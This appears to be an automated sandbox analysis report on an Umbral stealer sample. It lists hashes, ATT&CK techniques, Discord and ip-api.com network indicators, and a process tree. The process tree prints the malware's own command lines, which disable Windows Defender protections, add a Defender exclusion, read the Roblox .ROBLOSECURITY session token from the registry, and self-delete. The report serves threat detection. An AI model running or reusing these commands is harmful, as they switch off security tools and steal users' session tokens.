umbral | 31e2fd030cb3ae8a1e370971e7ce69da69e4add2e2176fb20aa452a2f6fe9e9e

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22-08-2024 02:01

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General

Target

0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe
Size

227KB
MD5

fe415b65db443f8d7e3aa075d79b4a72
SHA1

71fa4604b053ac55c7afa5a2d87ea0bcf8d0a116
SHA256

0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0
SHA512

dc715d2c938f22446f155afa615adbee775eb7abdc688b204037eccadd435490be3ab0fe6b2a9d493cb357de5730e864ffb842c42dc3051671a7fbc9a9117fb8
SSDEEP

6144:+loZM9rIkd8g+EtXHkv/iD4W9YhFzQEbmCzFQMpi+b8e1mSPi:ooZOL+EP8W9YhFzQEbmCzFQMp9Pa

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2664-1-0x0000000000DC0000-0x0000000000E00000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2568	powershell.exe
692	powershell.exe
2848	powershell.exe
2200	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe

Deletes itself 1 IoCs

pid	Process
2928	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2928	cmd.exe
3040	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
852	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3040	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2200	powershell.exe
2568	powershell.exe
692	powershell.exe
2856	powershell.exe
2848	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	692	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeIncreaseQuotaPrivilege	1184	wmic.exe
Token: SeSecurityPrivilege	1184	wmic.exe
Token: SeTakeOwnershipPrivilege	1184	wmic.exe
Token: SeLoadDriverPrivilege	1184	wmic.exe
Token: SeSystemProfilePrivilege	1184	wmic.exe
Token: SeSystemtimePrivilege	1184	wmic.exe
Token: SeProfSingleProcessPrivilege	1184	wmic.exe
Token: SeIncBasePriorityPrivilege	1184	wmic.exe
Token: SeCreatePagefilePrivilege	1184	wmic.exe
Token: SeBackupPrivilege	1184	wmic.exe
Token: SeRestorePrivilege	1184	wmic.exe
Token: SeShutdownPrivilege	1184	wmic.exe
Token: SeDebugPrivilege	1184	wmic.exe
Token: SeSystemEnvironmentPrivilege	1184	wmic.exe
Token: SeRemoteShutdownPrivilege	1184	wmic.exe
Token: SeUndockPrivilege	1184	wmic.exe
Token: SeManageVolumePrivilege	1184	wmic.exe
Token: 33	1184	wmic.exe
Token: 34	1184	wmic.exe
Token: 35	1184	wmic.exe
Token: SeIncreaseQuotaPrivilege	1184	wmic.exe
Token: SeSecurityPrivilege	1184	wmic.exe
Token: SeTakeOwnershipPrivilege	1184	wmic.exe
Token: SeLoadDriverPrivilege	1184	wmic.exe
Token: SeSystemProfilePrivilege	1184	wmic.exe
Token: SeSystemtimePrivilege	1184	wmic.exe
Token: SeProfSingleProcessPrivilege	1184	wmic.exe
Token: SeIncBasePriorityPrivilege	1184	wmic.exe
Token: SeCreatePagefilePrivilege	1184	wmic.exe
Token: SeBackupPrivilege	1184	wmic.exe
Token: SeRestorePrivilege	1184	wmic.exe
Token: SeShutdownPrivilege	1184	wmic.exe
Token: SeDebugPrivilege	1184	wmic.exe
Token: SeSystemEnvironmentPrivilege	1184	wmic.exe
Token: SeRemoteShutdownPrivilege	1184	wmic.exe
Token: SeUndockPrivilege	1184	wmic.exe
Token: SeManageVolumePrivilege	1184	wmic.exe
Token: 33	1184	wmic.exe
Token: 34	1184	wmic.exe
Token: 35	1184	wmic.exe
Token: SeIncreaseQuotaPrivilege	1672	wmic.exe
Token: SeSecurityPrivilege	1672	wmic.exe
Token: SeTakeOwnershipPrivilege	1672	wmic.exe
Token: SeLoadDriverPrivilege	1672	wmic.exe
Token: SeSystemProfilePrivilege	1672	wmic.exe
Token: SeSystemtimePrivilege	1672	wmic.exe
Token: SeProfSingleProcessPrivilege	1672	wmic.exe
Token: SeIncBasePriorityPrivilege	1672	wmic.exe
Token: SeCreatePagefilePrivilege	1672	wmic.exe
Token: SeBackupPrivilege	1672	wmic.exe
Token: SeRestorePrivilege	1672	wmic.exe
Token: SeShutdownPrivilege	1672	wmic.exe
Token: SeDebugPrivilege	1672	wmic.exe
Token: SeSystemEnvironmentPrivilege	1672	wmic.exe
Token: SeRemoteShutdownPrivilege	1672	wmic.exe
Token: SeUndockPrivilege	1672	wmic.exe
Token: SeManageVolumePrivilege	1672	wmic.exe
Token: 33	1672	wmic.exe
Token: 34	1672	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 2740	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	30
PID 2664 wrote to memory of 2740	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	30
PID 2664 wrote to memory of 2740	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	30
PID 2664 wrote to memory of 2200	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	32
PID 2664 wrote to memory of 2200	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	32
PID 2664 wrote to memory of 2200	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	32
PID 2664 wrote to memory of 2568	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	34
PID 2664 wrote to memory of 2568	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	34
PID 2664 wrote to memory of 2568	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	34
PID 2664 wrote to memory of 692	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	36
PID 2664 wrote to memory of 692	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	36
PID 2664 wrote to memory of 692	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	36
PID 2664 wrote to memory of 2856	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	38
PID 2664 wrote to memory of 2856	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	38
PID 2664 wrote to memory of 2856	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	38
PID 2664 wrote to memory of 1184	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	40
PID 2664 wrote to memory of 1184	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	40
PID 2664 wrote to memory of 1184	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	40
PID 2664 wrote to memory of 1672	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	43
PID 2664 wrote to memory of 1672	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	43
PID 2664 wrote to memory of 1672	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	43
PID 2664 wrote to memory of 1920	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	45
PID 2664 wrote to memory of 1920	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	45
PID 2664 wrote to memory of 1920	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	45
PID 2664 wrote to memory of 2848	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	47
PID 2664 wrote to memory of 2848	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	47
PID 2664 wrote to memory of 2848	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	47
PID 2664 wrote to memory of 852	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	49
PID 2664 wrote to memory of 852	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	49
PID 2664 wrote to memory of 852	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	49
PID 2664 wrote to memory of 2928	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	51
PID 2664 wrote to memory of 2928	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	51
PID 2664 wrote to memory of 2928	2664	0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe	51
PID 2928 wrote to memory of 3040	2928	cmd.exe	53
PID 2928 wrote to memory of 3040	2928	cmd.exe	53
PID 2928 wrote to memory of 3040	2928	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2740	attrib.exe

C:\Users\Admin\AppData\Local\Temp\0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe
"C:\Users\Admin\AppData\Local\Temp\0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe"
  2⤵
  - Views/modifies file attributes
  PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1184
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2848
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:852
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\0bb64c9c095b99117d8250f97cda9a257985ce3ba6b5891796c7ece426b61ed0.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a46df4d585e57a4ffe9b49434689754e

SHA1
5e894d21610605ec909cc9dc4b82de89ec673228

SHA256
333b13d1466ebfb8e4a4806052ebe2b5aab1c6f2c7f31f7373c329c008efae9c

SHA512
aff2c4d56fcd124ff6c2381cfbde9d4ddb00ae4d447eca844c8049945a21634960981b9c4068de202e5c2c342748f7c9b65566c1f928fcd16c418370480b0224

Download Submit
memory/2200-8-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/2200-11-0x000007FEED640000-0x000007FEEDFDD000-memory.dmp

Filesize
9.6MB

Download
memory/2200-7-0x000007FEED8FE000-0x000007FEED8FF000-memory.dmp

Filesize
4KB

Download
memory/2200-15-0x000007FEED640000-0x000007FEEDFDD000-memory.dmp

Filesize
9.6MB

Download
memory/2200-13-0x000007FEED640000-0x000007FEEDFDD000-memory.dmp

Filesize
9.6MB

Download
memory/2200-10-0x000007FEED640000-0x000007FEEDFDD000-memory.dmp

Filesize
9.6MB

Download
memory/2200-14-0x000007FEED640000-0x000007FEEDFDD000-memory.dmp

Filesize
9.6MB

Download
memory/2200-12-0x000007FEED640000-0x000007FEEDFDD000-memory.dmp

Filesize
9.6MB

Download
memory/2200-9-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2568-21-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2568-22-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2664-2-0x000007FEF5D20000-0x000007FEF670C000-memory.dmp

Filesize
9.9MB

Download
memory/2664-0-0x000007FEF5D23000-0x000007FEF5D24000-memory.dmp

Filesize
4KB

Download
memory/2664-1-0x0000000000DC0000-0x0000000000E00000-memory.dmp

Filesize
256KB

Download
memory/2664-53-0x000007FEF5D20000-0x000007FEF670C000-memory.dmp

Filesize
9.9MB

Download
memory/2848-49-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download